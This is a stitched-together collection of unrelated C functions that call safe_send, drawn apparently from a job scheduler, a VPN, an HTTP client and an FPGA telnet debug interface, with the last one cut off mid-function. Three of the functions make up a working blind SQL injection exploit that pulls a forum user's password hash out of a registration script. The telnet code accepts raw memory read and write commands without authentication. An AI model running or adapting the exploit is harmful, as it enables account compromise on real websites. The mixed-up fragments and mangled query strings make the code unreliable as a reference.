int submit_job_to_server(char *host, int port, job *to_send, data_size *files, int num_files) { int connection, i, err; char ip[INET_ADDRSTRLEN]; i = make_connection_with(host, port, &connection); if(i < 0) { problem("Connection to server failed\n"); exit(-1); } i = ADD_JOB; do_rpc(&i); err = safe_send(connection, to_send, sizeof(job)); if(err < 0) problem("Send job failed, %d\n", err); safe_send(connection, &num_files, sizeof(int)); for(i = 0; i < num_files; i++) { err = safe_send(connection, &(files[i].size), sizeof(size_t)); if(err < 0) problem("Send failed size\n"); err = safe_send(connection, files[i].data, files[i].size); if(err < 0) problem("Send failed data\n"); err = safe_send(connection, files[i].name, MAX_ARGUMENT_LEN*sizeof(char)); if(err < 0) problem("Send failed name\n"); } safe_recv(connection, &i, sizeof(int)); close(connection); return i; }
int send_host_list(int connection, host_list *list) { int err, num; host_list_node *runner; host_port *hosts; runner = list->head; num = 0; //count number of hosts do { num++; runner = runner->next; } while(runner != list->head); hosts = malloc(sizeof(host_port)*num); runner = list->head; //pack the hosts into an array for(err = 0; err < num; err++) { memcpy(&hosts[err], runner->host, sizeof(host_port)); runner = runner->next; } //send err = safe_send(connection, &num, sizeof(int)); if(err < OKAY) return err; err = safe_send(connection, hosts, sizeof(host_port)*num); if(err < OKAY) return err; err = safe_send(connection, &(list->id), sizeof(unsigned int)); if(err < OKAY) return err; return OKAY; }
void conflicting_writes(host_port *host) { int connection, err; err = make_connection_with(host->ip, host->port, &connection); if(err < 0) { problem("Connection failure.\n"); exit(-1); } printf("Made connection in second thread, file descriptor is %d\n", connection); err = DONT; safe_send(connection, &err, sizeof(int)); err = 3000; safe_send(connection, &err, sizeof(int)); }
int get_err_page_size(struct sockaddr_in sa) { char buf[20000], *p; int s, sz; if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); exit(1); } sprintf(buf, "GET %s/%s?action=reg®submit=1&username=%s HTTP/1.1\r\n" "Host: %s\r\n" "Content-type: application/x-www-form-urlencoded\r\n" "User-Agent: %s\r\n" "Connection: close\r\n" "\r\n", path, SCRIPT, user, target_host, USERAGENT); safe_send(s, buf, strlen(buf), 0); safe_recv(s, buf, sizeof(buf), 0); if (!(p = strstr(buf, "\r\n\r\n"))) { printf("cant get error page\n"); exit(1); } sz = strlen(p)-4; close(s); return sz; }
char *get_members_table(struct sockaddr_in sa) { static char members_table[64]; char buf[1024], *p, *q; int s; if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); exit(1); } sprintf(buf, "GET %s/%s?action=reg®submit=1&email1=+FROM HTTP/1.1\r\n" "Host: %s\r\n" "Content-type: application/x-www-form-urlencoded\r\n" "User-Agent: %s\r\n" "Connection: close\r\n" "\r\n", path, SCRIPT, target_host, USERAGENT); safe_send(s, buf, strlen(buf), 0); safe_recv(s, buf, sizeof(buf), 0); if (!((p = strstr(buf, "FROM "))) || !((q = strstr((p+5), " WHERE")))) { printf("cant get members table. maybe wrong path?\n"); exit(1); } *q = '\0'; strcpy(members_table, p+5); close(s); return members_table; }
/* send some data to listening socket */ bool sbuf_answer(SBuf *sbuf, const void *buf, unsigned len) { int res; if (sbuf->sock <= 0) return false; res = safe_send(sbuf->sock, buf, len, 0); if (res < 0) { log_debug("sbuf_answer: error sending: %s", strerror(errno)); } else if ((unsigned)res != len) { log_debug("sbuf_answer: partial send: len=%d sent=%d", len, res); } return (unsigned)res == len; }
int announce(int connection, host_port *send) { int status = ANNOUNCE; status = do_rpc(&status); #ifdef VERBOSE2 printf("Sending announce\n"); #endif if(status < 0){ problem("Failed to acknowledge announce\n"); problem("Send Failed\n"); return status; } status = safe_send(connection, send, sizeof(host_port)); if(status < 0) problem("Send Failed\n"); return status; }
int main(int argc, char **argv) { int connection, err; pthread_t thread; host_port host; struct timespec req; if(argc < 3) { host.port = atoi(argv[1]); pthread_create(&thread, NULL, (void *(*)(void *))listen_for_connection, &host); pthread_join(thread, NULL); } else { strcpy(host.ip, argv[1]); host.port = atoi(argv[2]); make_connection_with(host.ip, host.port, &connection); printfl("Made connection in main thread, file descriptor is %d", connection); err = LISTEN; safe_send(connection, &err, sizeof(int)); pthread_create(&thread, NULL, (void *(*)(void *))conflicting_writes, &host); req.tv_sec = 2; pthread_join(thread, NULL); } }
int heartbeat() { int connection, err; if(heartbeat_dest != my_host) { host_list *incoming; err = make_connection_with(heartbeat_dest->host->ip, heartbeat_dest->host->port, &connection); if (err < OKAY) { handle_failure(heartbeat_dest->host, 1); heartbeat_dest = heartbeat_dest->next; return FAILURE; } err = HEARTBEAT; do_rpc(&err); receive_host_list(connection, &incoming); pthread_mutex_lock(&(my_host->lock)); my_host->host->time_stamp++; my_host->host->jobs = my_queue->active_jobs; pthread_mutex_unlock(&(my_host->lock)); safe_send(connection, my_host->host, sizeof(host_port)); update_job_counts(incoming); free_host_list(incoming, 1); close(connection); } heartbeat_dest = heartbeat_dest->next; }
//In Progress int _do_rpc(int connection, char rpc) { return safe_send(connection, &rpc, sizeof(char)); }
/* send encrypted packet */ int vpn_send(int fd, vpn_crypt_t *cry, vpn_proto_t type, const void *buf, size_t buflen) { vpn_hdr_t hdr; gcry_cipher_hd_t hd = NULL; char bigpack[VPN_BIGPACKET], encpack[VPN_BIGPACKET], xiv[256], *s; int pad = ~((buflen % cry->blklen) - cry->blklen)+1; int re, rs, rc, rx; switch(type) { case VPN_CLIENT: hd = cry->hsrc; break; case VPN_SERVER: hd = cry->hdst; } /* fill header */ hdr.pad = pad == cry->blklen ? 0 : pad; hdr.checksum = buflen + hdr.pad; /* check buffer size */ if(sizeof(bigpack) < hdr.checksum) return xmsg(-1, VPN_DEBUG|VPN_INFO, "packet too big to send: %d data bytes + %d header bytes\n", buflen, sizeof(hdr)); /* copy data to `bigpack' */ memset(bigpack, 0, sizeof(bigpack)); memcpy(&bigpack, buf, buflen); if(!cry->rndsend) cry->rndsend = initial_iv_random; memset(xiv, 0, sizeof(xiv)); gen_iv(xiv, cry->blklen, cry->rndsend); /* xmsg(0, VPN_DEBUG, "send using iv: %s\n", xiv); */ re = xencrypt(hd, cry->blklen, xiv, encpack, sizeof(encpack), bigpack, hdr.checksum); if(re == -1 || re != hdr.checksum) return xmsg(-1, VPN_DEBUG|VPN_INFO, "vpn_send: cannot encrypt packet (%d != %d)\n", re, hdr.checksum); /* send header */ rs = send(fd, &hdr, sizeof(hdr), 0); if(rs == -1) return rs; else if(!rs) return xmsg(0, VPN_DEBUG|VPN_INFO, "vpn_send: lost connection, peer disconnected\n"); else if(rs != sizeof(hdr)) return xmsg(-1, VPN_DEBUG|VPN_INFO, "vpn_send: partial send of header not allowed\n"); xmsg(0, VPN_DEBUG, "sent %d bytes header, checksum=%d and pad=%d\n", rs, hdr.checksum, hdr.pad); /* send data */ s = encpack; rc = re; rx = 0; do { rs = safe_send(fd, s, rc); if(rs == -1) return rs; else if(!rs) return xmsg(0, VPN_DEBUG|VPN_INFO, "vpn_send: lost connection, peer disconnected\n"); xmsg(0, VPN_DEBUG, "sent %d bytes of packet...\n", rs); s += rs; rx += rs; rc -= rs; } while(rx < re); cry->rndsend = buflen; return buflen; }
int http_read(const char *hostName, const void *requestString, int requestLength, int port, int readTimeOut, int contentOnly, void **resultBuffer, int *resultBufferLength) { int responseStatusCode = 0; SOCKET_DESCRIPTOR socketDescriptor; struct hostent *host; struct sockaddr_in serverAddr; char *buffer = NULL; int bytes_read = 0; int count = 0; int readCount = 0; int res; char *r_start, *r_end; #ifdef WIN32 WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); #endif socketDescriptor = socket(AF_INET, SOCK_STREAM, 0); if (socketDescriptor == INVALID_SOCKET) { #ifdef WIN32 WSACleanup(); #endif return HTTP_SOCKET_ERROR; } host = (struct hostent *) gethostbyname(hostName); if (host == NULL) { res = HTTP_NOLIVEINTERNET_ERROR; goto exit_sopened; } memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = (short)host->h_addrtype; serverAddr.sin_port = htons((unsigned short)port); serverAddr.sin_addr.s_addr = *(unsigned long*)host->h_addr; if (connect(socketDescriptor, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) < 0) { res = HTTP_CONNECT_ERROR; goto exit_sopened; } /* Send request */ if (safe_send(socketDescriptor, requestString, requestLength, 0) != requestLength) { res = HTTP_SEND_ERROR; goto exit_sopened; } buffer = (char*)memory_alloc(0); count = 0; for(;;) { fd_set rfds; struct timeval tv; int selectResult; tv.tv_sec = readTimeOut; tv.tv_usec = 0; FD_ZERO(&rfds); FD_SET(socketDescriptor, &rfds); selectResult = select((int)socketDescriptor + 1, &rfds, NULL, NULL, &tv); if ((selectResult == 0) || (selectResult == -1)) { res = HTTP_READTIMEOUT_ERROR; goto exit_sopened; } count++; buffer = (char*)memory_realloc((void*)buffer, HTTP_READ_BUFFER_SIZE * count); if (!buffer) { res = HTTP_RECEIVE_ERROR; goto exit_sopened; } #ifdef WIN32 readCount = recv(socketDescriptor, buffer + bytes_read, HTTP_READ_BUFFER_SIZE, 0); #else readCount = read(socketDescriptor, buffer + bytes_read, HTTP_READ_BUFFER_SIZE); #endif if (readCount == 0) { buffer[bytes_read] = '\0'; break; } if (readCount < 0) { res = HTTP_RECEIVE_ERROR; goto exit_sopened; } bytes_read += readCount; } close_socket(socketDescriptor); if (buffer) { if (sscanf(buffer, "%*s %d", &responseStatusCode) != 1) { res = HTTP_RECEIVE_ERROR; goto exit_buffree; } } switch (responseStatusCode) { case 200: { /* Status is OK */ break; } case 301: { /* Permanent redirection, extract new location */ if (buffer) { r_start = strstr(buffer, HTTP_Header_Location); if (r_start) { r_start += strlen(HTTP_Header_Location); r_end = strstr(r_start, "\r\n"); if (r_end && r_end > r_start) { *resultBufferLength = r_end - r_start; *resultBuffer = memory_alloc(*resultBufferLength + 1); if (!*resultBuffer) { res = HTTP_RECEIVE_ERROR; goto exit_buffree; } memcpy(*resultBuffer, r_start, *resultBufferLength); /* Put null terminating character */ ((char*)*resultBuffer)[*resultBufferLength] = '\0'; *resultBufferLength += 1; res = HTTP_REDIRECTION; goto exit_buffree; } } } break; } default: { /* No HTTP return code */ res = HTTP_RESPONSESTATUS_ERROR; goto exit_buffree; } } if (contentOnly == 0) { *resultBuffer = buffer; *resultBufferLength = bytes_read; } else { int headerLength; char* temp = strstr(buffer, "\r\n\r\n"); headerLength = (int)(temp - buffer + 4); res = HTTP_CONTENT_ERROR; if (!temp) goto exit_buffree; *resultBuffer = memory_alloc(bytes_read - headerLength); if (!*resultBuffer) goto exit_buffree; *resultBuffer = memcpy(*resultBuffer, temp + 4, bytes_read - headerLength); *resultBufferLength = bytes_read - headerLength; res = HTTP_NOERROR; goto exit_buffree; } res = HTTP_NOERROR; goto exit; exit_sopened: close_socket(socketDescriptor); exit_buffree: if (buffer) { memory_free(buffer); } exit: return res; }
void do_it() { char *table; struct sockaddr_in sa; int s, c, spread, pos, i, err_sz, sz; char buf[31337], email2[20000], hash[33], *p; resolve_host((struct sockaddr *)&sa, target_host); sa.sin_port = htons(target_port); printf("\nAttacking %s:%d (%s)\n\n", target_host, target_port, inet_ntoa(sa.sin_addr)); printf("Using script path: %s/%s\n", path, SCRIPT); err_sz = get_err_page_size(sa); printf("Got error page size: %d bytes\n", err_sz); table = get_members_table(sa); printf("Got members table: %s\n", table); printf("This may take a while...\n\n"); printf("* %s's password hash: ", user); fflush(stdout); for (c=beginchar; c<=endchar; c++) { for (spread=8,pos=0; spread; spread/=2) { sprintf(email2, "+and("); for (i=0; i<spread; i++) { sprintf(email2, "%s+mid(%s.password,%d,1)=char(%d)", email2, table, c, hexchars[pos+i]); if (i<spread-1) strcat(email2, "+or"); else strcat(email2, ")"); } if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); exit(1); } sprintf(buf, "GET %s/%s?action=reg®submit=1&email2=%s&username=%s HTTP/1.1\r\n" "Host: %s\r\n" "Content-type: application/x-www-form-urlencoded\r\n" "User-Agent: %s\r\n" "Connection: close\r\n\r\n", path, SCRIPT, email2, user, target_host, USERAGENT); safe_send(s, buf, strlen(buf), 0); memset(buf,0,sizeof(buf)); safe_recv(s, buf, sizeof(buf), 0); if (!(p = strstr(buf, "\r\n\r\n"))) { printf("something failed\n"); exit(1); } sz = strlen(p)-4; if (sz == err_sz) { if (spread == 1) { hash[c] = hexchars[pos]; } } else { if (spread == 1) { hash[c] = hexchars[pos+spread]; } pos += spread; } close(s); } printf("%c", hash[c]); fflush(stdout); } printf("\n\nDone.\n"); }
int es_interface(int s, const void *data, size_t size) { int idx = 0 , retval = 0; char input_buf[RECV_BUF_SIZE+1]; // Copy the data into 'input_buf' memset( input_buf , 0 , RECV_BUF_SIZE+1 ); strncpy( input_buf , data , size ); char *commands[NTELNETCOMMANDS] = { "esinit" , "esread" , "esdone" , "esdisable" , "mwr" , "mrd" , "debug" , \ "dbgeyescan" , "initclk" , "readclk" , "printupod" , "iicr" , "iicw" , "printtemp" , "globalinit" }; if( !strncmp( input_buf , "h" , 1 ) || !strncmp( input_buf , "H" , 1 ) ) { memset( input_buf , 0 , RECV_BUF_SIZE+1 ); safe_sprintf( input_buf , "commands :" ); for( idx = 0 ; idx < NTELNETCOMMANDS ; idx++ ) { safe_sprintf( input_buf , "%s %s" , input_buf , commands[idx] ); } safe_sprintf( input_buf , "%s\r\n" , input_buf ); return safe_send(s, input_buf); } char * temp_str , ** pEnd = NULL; typedef enum { ESINIT = 0 , ESREAD = 1 , ESDONE = 2 , ESDISABLE = 3 , MWR = 4 , MRD = 5 , DEBUG = 6 , \ DBGEYESCAN = 7 , INITCLK = 8 , READCLK = 9 , PRINTUPOD = 10 , IICR = 11 , IICW = 12 , PRINTTEMP = 13 , GLOBALINIT = 14 } command_type_t; command_type_t command_type = MWR; char tokens[NTELNETTOKENS][20] = {}; for( idx = 0 ; idx < NTELNETTOKENS ; idx++ ) { memset( tokens[idx] , 0 , 20 ); } // tokenize (strtok) the input and store in tokens[] temp_str = strtok( input_buf , " " ); int number_tokens = 0; while( temp_str != NULL ) { strncpy( tokens[number_tokens] , temp_str , strlen( temp_str ) ); ++number_tokens; temp_str = strtok( NULL , " {},\r\n"); } // identify the command for( idx = 0 ; idx < NTELNETCOMMANDS ; ++idx ) { if( !strncmp( commands[idx] , tokens[0] , strlen(commands[idx]) ) ) command_type = idx; } if( command_type == ESINIT ) { if( number_tokens == 2 ) { if( !strncmp( "run" , tokens[1] , 3 ) ) { global_run_eye_scan(); return safe_send( s , "1\r\n" ); } } if( number_tokens != 8 ) { memset( input_buf , 0 , RECV_BUF_SIZE+1 ); safe_sprintf( input_buf , "Syntax: esinit <lane> <max_prescale> <horz_step> <data_width> <vert_step> <lpm_mode> <rate>\r\n"); return safe_send( s , input_buf ); } int curr_lane = strtoul( tokens[1] , pEnd , 0); xaxi_eyescan_enable_channel(curr_lane); eyescan_lock(); eye_scan * curr_eyescan = get_eye_scan_lane( curr_lane ); if( curr_eyescan == NULL ) { return safe_send( s , "error, no lane found\r\n" ); } curr_eyescan->pixel_count = 0; curr_eyescan->state = WAIT_STATE; curr_eyescan->p_upload_rdy = 0; // Read values in curr_eyescan->max_prescale = strtoul( tokens[2] , pEnd , 0); curr_eyescan->horz_step_size = strtoul( tokens[3] , pEnd , 0); curr_eyescan->data_width = strtoul( tokens[4] , pEnd , 0); curr_eyescan->vert_step_size = strtoul( tokens[5] , pEnd , 0); curr_eyescan->lpm_mode = strtoul( tokens[6] , pEnd , 0); curr_eyescan->max_horz_offset = strtoul( tokens[7] , pEnd , 0); // same as rate? //retval = configure_eye_scan( curr_eyescan , curr_lane ); curr_eyescan->enable = TRUE; // enable the lane curr_eyescan->initialized = FALSE; // need to reinitialize lane eyescan_unlock(); return 0; } if( command_type == ESREAD ) { memset( input_buf , 0 , RECV_BUF_SIZE+1 ); if( number_tokens != 3 && number_tokens != 2 ) { safe_sprintf( input_buf , "Syntax: esread <lane> <pixel>\r\n"); return safe_send( s , input_buf ); } if( !strncmp( "all" , tokens[1] , 3 ) ) { if( !global_upload_ready() ) return 0; int curr_lane = 0; for( curr_lane = 0 ; curr_lane < MAX_NUMBER_OF_LANES ; curr_lane++ ) { eye_scan * curr_eyescan = get_eye_scan_lane( curr_lane ); if( curr_eyescan == NULL || curr_eyescan->enable == FALSE || curr_eyescan->p_upload_rdy == FALSE ) continue; for( idx = 0 ; idx < curr_eyescan->pixel_count ; idx++ ) { eye_scan_pixel * current_pixel = ( curr_eyescan->pixels + idx ); safe_sprintf( input_buf , "%s%d %d %d %d: %d %d %d %d %ld\r\n" , input_buf, curr_lane , idx , \ current_pixel->h_offset , current_pixel->v_offset , \ current_pixel->error_count , current_pixel->sample_count , \ current_pixel->prescale & 0x001F , current_pixel->ut_sign , current_pixel->center_error ); if( strlen(input_buf) > 1900 ) { retval = safe_send(s, input_buf); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); } } } if( strlen(input_buf) > 0 ) { retval = safe_send(s, input_buf); } return retval; } int curr_lane = strtoul( tokens[1] , pEnd , 0 ); eye_scan * curr_eyescan = get_eye_scan_lane( curr_lane ); if( curr_eyescan == NULL ) { return safe_send( s , "error, no lane found\r\n" ); } if( number_tokens == 2 ) { safe_sprintf( input_buf , "%d\r\n" , curr_eyescan->pixel_count ); retval = safe_send(s, input_buf); return retval; } else { int curr_pixel = strtoul( tokens[2] , pEnd , 0 ); int begin_pixel = curr_pixel; int end_pixel = curr_pixel + 1; if( curr_pixel == curr_eyescan->pixel_count ) { begin_pixel = 0; end_pixel = curr_eyescan->pixel_count; } else if( curr_pixel > curr_eyescan->pixel_count ) { return 0; } for( idx = begin_pixel ; idx <= end_pixel ; idx++ ) { eye_scan_pixel * current_pixel = ( curr_eyescan->pixels + idx ); safe_sprintf( input_buf , "%s%d %d %d %d: %d %d %d %d %ld\r\n" , input_buf, curr_lane , idx , \ current_pixel->h_offset , current_pixel->v_offset , \ current_pixel->error_count , current_pixel->sample_count , \ current_pixel->prescale & 0x001F , current_pixel->ut_sign , current_pixel->center_error ); if( strlen(input_buf) > 1900 ) { retval = safe_send(s, input_buf); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); } } if( strlen(input_buf) > 0 ) { retval = safe_send(s, input_buf); } return retval; } } if( command_type == ESDONE ) { if( number_tokens != 2 ) { memset( input_buf , 0 , RECV_BUF_SIZE+1 ); safe_sprintf( input_buf , "Syntax: esdone <lane> \r\n"); return safe_send( s , input_buf ); } if( !strncmp( "all" , tokens[1] , 3 ) ) { memset( input_buf , 0 , RECV_BUF_SIZE+1 ); safe_sprintf( input_buf , "%d\r\n" , global_upload_ready() ); return safe_send(s, input_buf); } int curr_lane = strtoul( tokens[1] , pEnd , 0); int is_ready = FALSE; eye_scan * curr_eyescan = get_eye_scan_lane( curr_lane ); if( curr_eyescan == NULL ) { return safe_send( s , "error, no lane found\r\n" ); } is_ready = curr_eyescan->p_upload_rdy; memset( input_buf , 0 , RECV_BUF_SIZE+1 ); safe_sprintf( input_buf , "%d: %d\r\n" , curr_lane , is_ready ); return safe_send(s, input_buf); } if( command_type == ESDISABLE ) { if( number_tokens != 2 ) { memset( input_buf , 0 , RECV_BUF_SIZE+1 ); safe_sprintf( input_buf , "Syntax: esdisable <lane> \r\n"); return safe_send( s , input_buf ); } if( !strncmp( "all" , tokens[1] , 3 ) ) { global_stop_eye_scan(); global_upload_unrdy(); return 0; } // Disable the eyescan int curr_lane = strtoul( tokens[1] , pEnd , 0); eye_scan * curr_eyescan = get_eye_scan_lane( curr_lane ); curr_eyescan->enable = FALSE; // Turn off the GTX for this channel xaxi_eyescan_disable_channel(curr_lane); return 0; } typedef enum { N=-1 , W = 0 , H = 1 , B = 2 } wtype_t; wtype_t wtype = N; char *wtypes[3] = { "w" , "h" , "b" }; uint wtype_sizes[3] = { 8 , 4 , 2 }; if( command_type == MWR || command_type == MRD ) { for( idx = 0 ; idx < 3 ; idx++ ){ if( !strncmp( wtypes[idx] , tokens[number_tokens-1] , 1 ) ) wtype = idx; } } u16_t number_of_words = 1; if( command_type == MRD ) { if( number_tokens == 2 ) number_of_words = 0; else if( number_tokens > 2 ) { if( wtype == N ) { number_of_words = strtoul( tokens[number_tokens-1] , pEnd , 0 ); } else { number_of_words = strtoul( tokens[number_tokens-2] , pEnd , 0 ); } } } else if( command_type == MWR ) { if( number_tokens == 3 ) number_of_words = 1; else if( number_tokens > 3 ) { if( wtype == N ) { number_of_words = strtoul( tokens[number_tokens-1] , pEnd , 0 ); } else { number_of_words = strtoul( tokens[number_tokens-2] , pEnd , 0 ); } } } if( command_type == MRD && number_tokens == 2 ) number_of_words = 1; u32_t address = 0; u32_t addresses[NTELNETTOKENS] = {0}; u32_t values[NTELNETTOKENS] = {0}; if( command_type == MWR || command_type == MRD ) { if( number_tokens > 1 ) { address = strtoul( tokens[1] , pEnd , 0 ); } } if( command_type == MWR ) { for( idx = 0 ; idx < number_of_words ; idx++ ) { values[idx] = strtoul( tokens[idx+2] , pEnd , 0 ); if( wtype == N || wtype == W ) { /* WORD, u32_t */ u32_t * tval = NULL; tval = ( (u32_t*)address + idx ); *tval = (u32_t)values[idx]; } else if( wtype == H ) { /* HALF, u16_t */ u16_t * tval = NULL; tval = ( (u16_t*)address + idx ); *tval = (u16_t)values[idx]; } else if( wtype == B ) { /* BYTE, u8_t */ u8_t * tval = NULL; tval = ( (u8_t*)address + idx ); *tval = (u8_t)values[idx]; } } } if( command_type == MRD ) { for( idx = 0 ; idx < number_of_words ; idx++ ) { if( wtype == N || wtype == W ) { /* WORD, u32_t */ u32_t * tval = NULL; tval = ( (u32_t*)address + idx ); addresses[idx] = (u32_t)tval; values[idx] = *tval; } else if( wtype == H ) { /* HALF, u16_t */ u16_t * tval = NULL; tval = ( (u16_t*)address + idx ); addresses[idx] = (u32_t)tval; values[idx] = *tval; } else if( wtype == B ) { /* BYTE, u8_t */ u8_t * tval = NULL; tval = ( (u8_t*)address + idx ); addresses[idx] = (u32_t)tval; values[idx] = *tval; } } return retval; } if( command_type == MRD ) { char format_string[20]; memset( format_string , 0 , 20 ); if( wtype >= 0 ) sprintf( format_string , "%%p: 0x%%0%dlx\r\n" , wtype_sizes[wtype] ); else sprintf( format_string , "%%p: 0x%%0%dlx\r\n" , wtype_sizes[0] ); for( idx = 0 ; idx < number_of_words ; idx++ ) { memset( input_buf , 0 , RECV_BUF_SIZE+1); safe_sprintf( input_buf , format_string , addresses[idx] , values[idx] ); retval = safe_send(s, input_buf); } return retval; } if( command_type == DEBUG ) { srand( time(NULL) ); safe_sprintf( input_buf , "echo mrd %p 4 b | nc 192.168.1.99 7\r\n" , u8_test_array ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mwr %p {0x%02x 0x%02x 0x%02x 0x%02x} 4 b | nc 192.168.1.99 7\r\n" , u8_test_array , (u8_t)rand() , (u8_t)rand() , (u8_t)rand() , (u8_t)rand() ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mrd %p 4 b | nc 192.168.1.99 7\r\n" , u8_test_array ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mrd %p 4 h | nc 192.168.1.99 7\r\n" , u16_test_array ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mwr %p {0x%04x 0x%04x 0x%04x 0x%04x} 4 h | nc 192.168.1.99 7\r\n" , u16_test_array , (u16_t)rand() , (u16_t)rand() , (u16_t)rand() , (u16_t)rand() ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mrd %p 4 h | nc 192.168.1.99 7\r\n" , u16_test_array ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mrd %p 4 w | nc 192.168.1.99 7\r\n" , u32_test_array ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mwr %p {0x%08lx 0x%08lx 0x%08lx 0x%08lx} 4 w | nc 192.168.1.99 7\r\n" , u32_test_array , (u32_t)rand() , (u32_t)rand() , (u32_t)rand() , (u32_t)rand() ); retval = safe_send(s, input_buf); safe_sprintf( input_buf , "echo mrd %p 4 w | nc 192.168.1.99 7\r\n" , u32_test_array ); retval = safe_send(s, input_buf); return retval; } if( command_type == DBGEYESCAN ) { int curr_lane = -1; memset( input_buf , 0 , RECV_BUF_SIZE+1 ); if( number_tokens == 2 ) { curr_lane = strtoul( tokens[1] , pEnd , 0 ); } eyescan_debugging( curr_lane , input_buf ); if( curr_lane == -1 ) { retval = safe_send( s , input_buf ); return retval; } u32 drp_addresses[146] = { \ 0x000, 0x00D, 0x00E, 0x00F, 0x011, 0x012, 0x013, 0x014, 0x015, 0x016, 0x018, 0x019, 0x01A, 0x01B, 0x01C, 0x01D, 0x01E, 0x01F, 0x020, \ 0x021, 0x022, 0x023, 0x024, 0x025, 0x026, 0x027, 0x028, 0x029, 0x02A, 0x02B, 0x02C, 0x02D, 0x02E, 0x02F, 0x030, 0x031, 0x032, 0x033, \ 0x034, 0x035, 0x036, 0x037, 0x038, 0x039, 0x03A, 0x03B, 0x03C, 0x03D, 0x03E, 0x03F, 0x040, 0x041, 0x044, 0x045, 0x046, 0x047, 0x048, \ 0x049, 0x04A, 0x04B, 0x04C, 0x04D, 0x04E, 0x04F, 0x050, 0x051, 0x052, 0x053, 0x054, 0x055, 0x056, 0x057, 0x059, 0x05B, 0x05C, 0x05D, \ 0x05E, 0x05F, 0x060, 0x061, 0x062, 0x063, 0x064, 0x065, 0x066, 0x068, 0x069, 0x06A, 0x06B, 0x06F, 0x070, 0x071, 0x074, 0x075, 0x076, \ 0x077, 0x078, 0x079, 0x07A, 0x07C, 0x07D, 0x07F, 0x082, 0x083, 0x086, 0x087, 0x088, 0x08C, 0x091, 0x092, 0x097, 0x098, 0x099, 0x09A, \ 0x09B, 0x09C, 0x09D, 0x09F, 0x0A0, 0x0A1, 0x0A2, 0x0A3, 0x0A4, 0x0A5, 0x0A6, 0x0A7, 0x0A8, 0x0A9, 0x0AA, 0x0AB, 0x0AC ,\ 0x14F, 0x150, 0x151, 0x152, 0x153, 0x154, 0x155, 0x156, 0x157, 0x158, 0x159, 0x15A, 0x15B , 0x15C, 0x15D \ }; for( idx = 0 ; idx < 146 ; idx++ ) { eyescan_debug_addr( curr_lane , drp_addresses[idx] , input_buf ); if( strlen(input_buf) > 1900 ) { retval = safe_send( s , input_buf ); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); } } if( strlen(input_buf) > 0 ) { retval = safe_send( s , input_buf ); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); } return retval; } if( command_type == INITCLK ) { #ifdef IS_OTC_BOARD SetClockDevID(0); retval = 0; if( number_tokens == 1 ) { retval = InitClockRegisters(); return retval; } else if( number_tokens == 2 ) { char * freqs[4] = { "125.000 MHz" , "148.778 MHz" , "200.395 MHz" , "299.000 MHz" }; u16 regvals[4][21] = { { 0x01b9, 0x24c4, 0x74fa, 0x04fa, 0x306f, 0x0023, 0x0003, 0x0023, 0x0003, 0x00c3, 0x0030, 0x0000, 0x00c3, 0x0030, 0x0000, 0x00c3, 0x0030, 0x0000, 0x00c3, 0x0030, 0x0000 } , { 0x01b9, 0x11e9, 0x5c3c, 0x04f0, 0x306f, 0x0023, 0x0004, 0x0023, 0x0004, 0x00c3, 0x0040, 0x0000, 0x00c3, 0x0040, 0x0000, 0x00c3, 0x0040, 0x0000, 0x00c3, 0x0040, 0x0000 } , { 0x01b9, 0x000c, 0x003b, 0x04f5, 0x306f, 0x0023, 0x0002, 0x0023, 0x0002, 0x00c3, 0x0020, 0x0000, 0x00c3, 0x0020, 0x0000, 0x00c3, 0x0020, 0x0000, 0x00c3, 0x0020, 0x0000 } , { 0x01b1, 0x21f5, 0xc846, 0x04f5, 0x306f, 0x0023, 0x0001, 0x0023, 0x0001, 0x00c3, 0x0010, 0x0000, 0x00c3, 0x0010, 0x0000, 0x00c3, 0x0010, 0x0000, 0x00c3, 0x0010, 0x0000 } }; int fidx = strtoul( tokens[1] , pEnd , 0); if( fidx >= 0 && fidx < 4 ) { u16 regval[21]; for( idx = 0 ; idx<21 ; idx++ ) { regval[idx] = regvals[fidx][idx]; } memset( input_buf , 0 , RECV_BUF_SIZE+1 ); safe_sprintf( input_buf , "Using clock frequency of %s\n" , freqs[fidx] ); retval = safe_send( s , input_buf ); retval = InitClockRegisters( regval ); return retval; } else { safe_printf( "Can't init clock\n"); return 0; } } else if( number_tokens == 22 ) { u16 regval[21]; for( idx = 1 ; idx<22 ; idx++ ) { regval[idx-1] = strtoul( tokens[idx] , pEnd , 0); } retval = InitClockRegisters( regval ); return retval; } else { safe_printf( "Can't init clock\n"); return 0; } #endif return retval; } if( command_type == READCLK ) { #ifdef IS_OTC_BOARD u16 *cfgdata = GetClockConfig(); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); for( idx = 0 ; idx < 21 ; idx++ ) { safe_sprintf( input_buf , "%s %04d " , input_buf , idx ); } safe_sprintf( input_buf , "%s\r\n" , input_buf ); retval = safe_send(s, input_buf); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); for( idx = 0 ; idx < 21 ; idx++ ) { safe_sprintf( input_buf , "%s0x%04x " , input_buf , cfgdata[idx] ); } safe_sprintf( input_buf , "%s\r\n" , input_buf ); retval = safe_send(s, input_buf); free(cfgdata); #endif return retval; } if( command_type == PRINTUPOD ) { #ifdef IS_OTC_BOARD u8_t i2c_addresses[8]; for( idx=0 ; idx<8; idx++ ) i2c_addresses[idx] = idx; for( idx=1 ; idx < number_tokens ; idx++ ) 